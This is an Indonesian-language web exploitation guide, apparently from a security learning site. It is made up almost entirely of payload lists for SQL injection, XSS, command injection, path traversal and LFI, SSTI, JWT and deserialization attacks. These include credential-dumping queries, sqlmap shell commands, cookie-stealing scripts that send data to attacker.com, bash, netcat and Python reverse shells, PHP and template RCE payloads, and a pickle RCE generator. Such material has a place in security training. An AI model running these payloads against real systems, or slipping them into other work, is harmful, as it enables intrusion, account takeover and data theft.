Web Security
Identifikasi dan eksploitasi celah keamanan aplikasi web
Tools Wajib
SQL Injection (SQLi) - Complete Guide
MenengahTeknik menyisipkan query SQL berbahaya melalui input aplikasi untuk mengakses atau memanipulasi database.
1. Authentication Bypass
1-- Classic bypass2admin'--3admin'#4admin'/*5' OR '1'='1'--6' OR '1'='1'#7" OR "1"="1"--8' OR 1=1--9' OR 'a'='a10') OR ('1'='111 12-- Username field:13admin'--14' UNION SELECT 1,1,'admin'--15' OR 1=1 LIMIT 1--16 17-- Password field (ketika password di-hash):18' OR '1'='119anything' OR '1'='12. UNION-Based SQLi
1-- Step 1: Find number of columns dengan ORDER BY2' ORDER BY 1-- (OK)3' ORDER BY 2-- (OK)4' ORDER BY 3-- (OK)5' ORDER BY 4-- (ERROR! → 3 columns)6 7-- Step 2: Find which columns are displayed8' UNION SELECT 'a','b','c'--9' UNION SELECT 1,2,3--10' UNION SELECT NULL,NULL,NULL--11 12-- Step 3: Extract database info13' UNION SELECT NULL,VERSION(),NULL--14' UNION SELECT NULL,DATABASE(),NULL--15' UNION SELECT NULL,USER(),NULL--16 17-- Step 4: List tables18' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--19 20-- Step 5: List columns21' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--22 23-- Step 6: Extract data24' UNION SELECT NULL,username,password FROM users--25' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--3. Blind SQL Injection
Ketika tidak ada output langsung. Ekstrak data berdasarkan response behavior.
1-- Cek apakah vulnerable2' AND 1=1-- (normal response)3' AND 1=2-- (different response)4 5-- Extract data character by character6' AND SUBSTRING(database(),1,1)='a'--7' AND SUBSTRING(database(),1,1)='b'--8... sampai ketemu9 10-- Binary search untuk mempercepat11' AND ASCII(SUBSTRING(database(),1,1))>64--12' AND ASCII(SUBSTRING(database(),1,1))>96-- 13' AND ASCII(SUBSTRING(database(),1,1))>112-- 14...(binary search)1-- MySQL2' AND SLEEP(5)--3' AND IF(1=1,SLEEP(5),0)--4' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--5 6-- PostgreSQL7'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--8 9-- MSSQL10'; WAITFOR DELAY '0:0:5'--11'; IF (1=1) WAITFOR DELAY '0:0:5'--4. Second-Order SQLi
Payload disimpan, dieksekusi saat data digunakan di tempat lain.
11. Register dengan username: admin'--22. Login dengan username tersebut33. Update password...4 → Query: UPDATE users SET password='new' WHERE username='admin'--'5 → Ini mengubah password admin yang asli!5. Automation dengan SQLMap
1# Basic usage2sqlmap -u "http://target.com/page?id=1"3 4# Dengan cookie (jika perlu auth)5sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123"6 7# POST request8sqlmap -u "http://target.com/login" --data="username=admin&password=test"9 10# Enumerate databases11sqlmap -u "http://target.com/page?id=1" --dbs12 13# Enumerate tables14sqlmap -u "http://target.com/page?id=1" -D database_name --tables15 16# Dump table17sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump18 19# Get shell20sqlmap -u "http://target.com/page?id=1" --os-shell21 22# Bypass WAF23sqlmap -u "http://target.com/page?id=1" --tamper=space2commentCross-Site Scripting (XSS) - Complete Guide
MudahMenyisipkan script berbahaya ke halaman web yang akan dieksekusi oleh browser korban.
Reflected XSS
Script dari request (URL param) langsung di-reflect ke response
Stored XSS
Script disimpan di database, execute setiap halaman diload
DOM-based XSS
Script dieksekusi murni di client-side via DOM manipulation
Basic XSS Payloads
1<!-- Basic -->2<script>alert('XSS')</script>3<script>alert(document.domain)</script>4<script>alert(document.cookie)</script>5 6<!-- Image tag -->7<img src=x onerror="alert('XSS')">8<img src=x onerror=alert('XSS')>9<img/src=x onerror=alert('XSS')>10 11<!-- SVG -->12<svg onload="alert('XSS')">13<svg/onload=alert('XSS')>14 15<!-- Body/Input events -->16<body onload="alert('XSS')">17<input onfocus="alert('XSS')" autofocus>18<marquee onstart="alert('XSS')">19 20<!-- Anchor -->21<a href="javascript:alert('XSS')">click</a>22 23<!-- Iframe -->24<iframe src="javascript:alert('XSS')">25<iframe srcdoc="<script>alert('XSS')</script>">Filter Bypass Techniques
1<!-- Case variation -->2<ScRiPt>alert('XSS')</ScRiPt>3<SCRIPT>alert('XSS')</SCRIPT>4 5<!-- Encoding -->6<script>alert(String.fromCharCode(88,83,83))</script>7<img src=x onerror="alert('XSS')">8<img src=x onerror="alert('XSS')">9 10<!-- Double encoding -->11%253Cscript%253Ealert('XSS')%253C/script%253E12 13<!-- Without parentheses -->14<script>alert`XSS`</script>15<script>onerror=alert;throw'XSS'</script>16 17<!-- Without quotes -->18<script>alert(document.domain)</script>19<img src=x onerror=alert(1)>20 21<!-- Breaking out of attributes -->22"><script>alert('XSS')</script>23'><script>alert('XSS')</script>24</script><script>alert('XSS')</script>25 26<!-- Using eval -->27<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>28 29<!-- Template literals -->30<script>alert`XSS`</script>Cookie Stealing Payload
1<!-- Send cookies to attacker server -->2<script>3new Image().src='http://attacker.com/steal?c='+document.cookie;4</script>5 6<script>7fetch('http://attacker.com/steal?c='+document.cookie);8</script>9 10<script>11document.location='http://attacker.com/steal?c='+document.cookie;12</script>13 14<!-- Using webhook.site for testing -->15<script>16fetch('https://webhook.site/your-id?c='+document.cookie);17</script>DOM-based XSS
1// Vulnerable patterns (sinks):2document.write(user_input)3element.innerHTML = user_input4element.outerHTML = user_input5eval(user_input)6setTimeout(user_input, 1000)7setInterval(user_input, 1000)8location = user_input9location.href = user_input10 11// Sources (where input comes from):12location.search // URL query string13location.hash // URL fragment14document.referrer // Referrer header15document.cookie // Cookies16window.name // Window name17 18// Example vulnerable code:19var pos = document.URL.indexOf("name=") + 5;20document.write(document.URL.substring(pos, document.URL.length));21 22// Exploit:23// http://target.com/page#name=<script>alert('XSS')</script>Command Injection
MenengahEksekusi perintah OS melalui input yang tidak difilter dengan benar.
1# Command separators2; ls3| ls4|| ls5& ls6&& ls7`ls`8$(ls)9 10# Newline11%0als12%0d%0als13 14# Examples:15# Vulnerable: ping $_GET['ip']16127.0.0.1; cat /etc/passwd17127.0.0.1 | cat /etc/passwd18127.0.0.1 && cat /etc/passwd19`cat /etc/passwd`20$(cat /etc/passwd)21 22# Blind command injection (no output)23; sleep 10 # Time-based24; curl http://attacker.com # Out-of-band25; wget http://attacker.com/$(whoami)26 27# Getting reverse shell28; bash -i >& /dev/tcp/attacker/4444 0>&129; nc attacker 4444 -e /bin/bash30; python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'1# Space bypass2{cat,/etc/passwd}3cat${IFS}/etc/passwd4cat$IFS/etc/passwd5X=$'cat\x20/etc/passwd'&&$X6 7# Keyword bypass8c'a't /etc/passwd9c"a"t /etc/passwd10c\at /etc/passwd11/???/??t /etc/passwd12 13# Using wildcards14/???/c?t /???/p?????15 16# Base64 encoded17echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bashPath Traversal & Local File Inclusion (LFI)
MudahAkses file di luar direktori yang diizinkan melalui manipulasi path.
1# Basic traversal2../../../etc/passwd3....//....//....//etc/passwd4..%2f..%2f..%2fetc/passwd5%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd6 7# Double encoding8..%252f..%252f..%252fetc/passwd9 10# Null byte (older PHP)11../../../etc/passwd%0012../../../etc/passwd%00.jpg13 14# Important files to read:15/etc/passwd16/etc/shadow (if lucky)17/etc/hosts18/proc/self/environ19/var/log/apache2/access.log20/var/log/apache2/error.log21~/.bash_history22~/.ssh/id_rsa1// PHP Wrappers for LFI2// Read source code:3php://filter/convert.base64-encode/resource=index.php4 5// RCE via data wrapper:6data://text/plain,<?php system($_GET['cmd']); ?>7data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+8 9// RCE via input wrapper (POST body contains PHP):10php://input11 12// Log poisoning:13// 1. Include User-Agent dengan PHP code di access.log14// 2. LFI ke /var/log/apache2/access.log1# Linux files2/etc/passwd3/etc/shadow4/etc/hosts5/etc/hostname6/proc/version7/proc/self/cmdline8/proc/self/environ9/proc/self/fd/[0-9]*10/var/log/apache2/access.log11/var/log/apache2/error.log12 13# Windows files14C:\Windows\System32\drivers\etc\hosts15C:\Windows\win.ini16C:\Windows\System32\config\SAM17C:\inetpub\logs\LogFiles\18 19# Application files20.htaccess21config.php22wp-config.php23.env24.git/configInsecure Direct Object Reference (IDOR)
MudahAkses objek/data lain tanpa otorisasi dengan memanipulasi parameter referensi.
1# Numeric IDs2GET /api/user/123/profile → try 124, 125, 1, 03GET /download?id=456 → try 457, 14POST /api/order/789/cancel → try other order IDs5 6# UUIDs (harder but possible)7GET /doc/550e8400-e29b-41d4-a716-4466554400008# Try: increment last digits, or find other UUIDs9 10# Encoded IDs11GET /profile?id=MTIz (base64 of "123")12# Decode, change, re-encode13 14# Hashed IDs15GET /reset?token=5d41402abc4b2a76b9719d911017c59216# If MD5 of user ID, generate for other IDs17 18# In request body19POST /api/transfer20{"from": 123, "to": 456, "amount": 100}21# Change "from" to victim's account22 23# File access24GET /uploads/user_123/document.pdf25# Try: user_124, user_1, adminIDOR Hunting Tips
- • Cari semua parameter yang terlihat seperti ID
- • Test dengan ID user lain, ID 0, ID 1, ID negatif
- • Cek API endpoints di JS files
- • Perhatikan response berbeda (403 vs 200 vs 404)
Server-Side Template Injection (SSTI)
SulitMenyisipkan kode template yang dieksekusi di server untuk RCE atau data extraction.
1# Test untuk vulnerability:2{{7*7}} → 49 = Jinja2/Twig3${7*7} → 49 = Freemarker/Velocity4#{7*7} → 49 = Ruby ERB5<%= 7*7 %> → 49 = ERB6{{7*'7'}} → 7777777 = Jinja27{{config}} → Config object = Jinja28 9# Polyglot detection:10$\{\{<%[%'"}}%\\.1# Read file2{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}3 4# RCE - Method 15{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}6 7# RCE - Method 28{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['builtins']['eval']("__import__('os').popen('id').read()") }}9 10# RCE - Method 3 (shorter)11{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}12 13# Popular payload14{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}1# Read file2{{'/etc/passwd'|file_excerpt(1,30)}}3 4# RCE5{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}6 7# RCE - system8{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /etc/passwd")}}1# RCE2<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }3 4# Alternative5[#assign ex = 'freemarker.template.utility.Execute'?new()]6${ ex('id') }Authentication Bypass Techniques
MenengahBerbagai cara melewati mekanisme autentikasi.
11. SQL Injection (covered above)2 32. Default Credentials4 admin:admin, admin:password, admin:1234565 root:root, root:toor, test:test6 guest:guest7 83. JWT Attacks9 - Change algorithm to "none"10 - Bruteforce weak secret11 - Kid parameter injection12 134. Session Fixation14 - Inject known session ID15 165. Password Reset Flaws17 - Token reuse18 - Predictable tokens19 - Host header injection20 216. Mass Assignment22 - Add "role":"admin" or "is_admin":true to request23 247. Type Juggling (PHP)25 - "password" == 0 returns true26 - Send integer instead of string27 288. Registration bypass29 - Register as admin@target.com (case: Admin@target.com)1// Original JWT2eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoibm9ybWFsIn0.signature3 4// Attack 1: Algorithm None5// Change header to: {"alg":"none","typ":"JWT"}6// Remove signature7 8// Attack 2: Weak secret bruteforce9john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA25610 11// Attack 3: Change payload12// Decode, change "role":"admin", re-encode13 14// Tools:15// - jwt.io (decode/encode)16// - jwt_tool17// - hashcat -m 16500Deserialization Vulnerabilities
SulitEksploitasi kerentanan dalam proses deserialisasi objek.
1// Vulnerable code2$obj = unserialize($_GET['data']);3 4// If class has magic methods like __wakeup, __destruct5// They get called automatically6 7// Example malicious serialized object:8O:4:"User":2:{s:4:"name";s:5:"admin";s:8:"is_admin";b:1;}9 10// Tools: PHPGGC for gadget chains11phpggc Laravel/RCE1 system 'id' -b1import pickle2import base643import os4 5class RCE:6 def __reduce__(self):7 return (os.system, ('id',))8 9payload = base64.b64encode(pickle.dumps(RCE())).decode()10print(payload)11 12# Jika aplikasi melakukan:13# pickle.loads(base64.b64decode(user_input))14# Akan execute 'id' command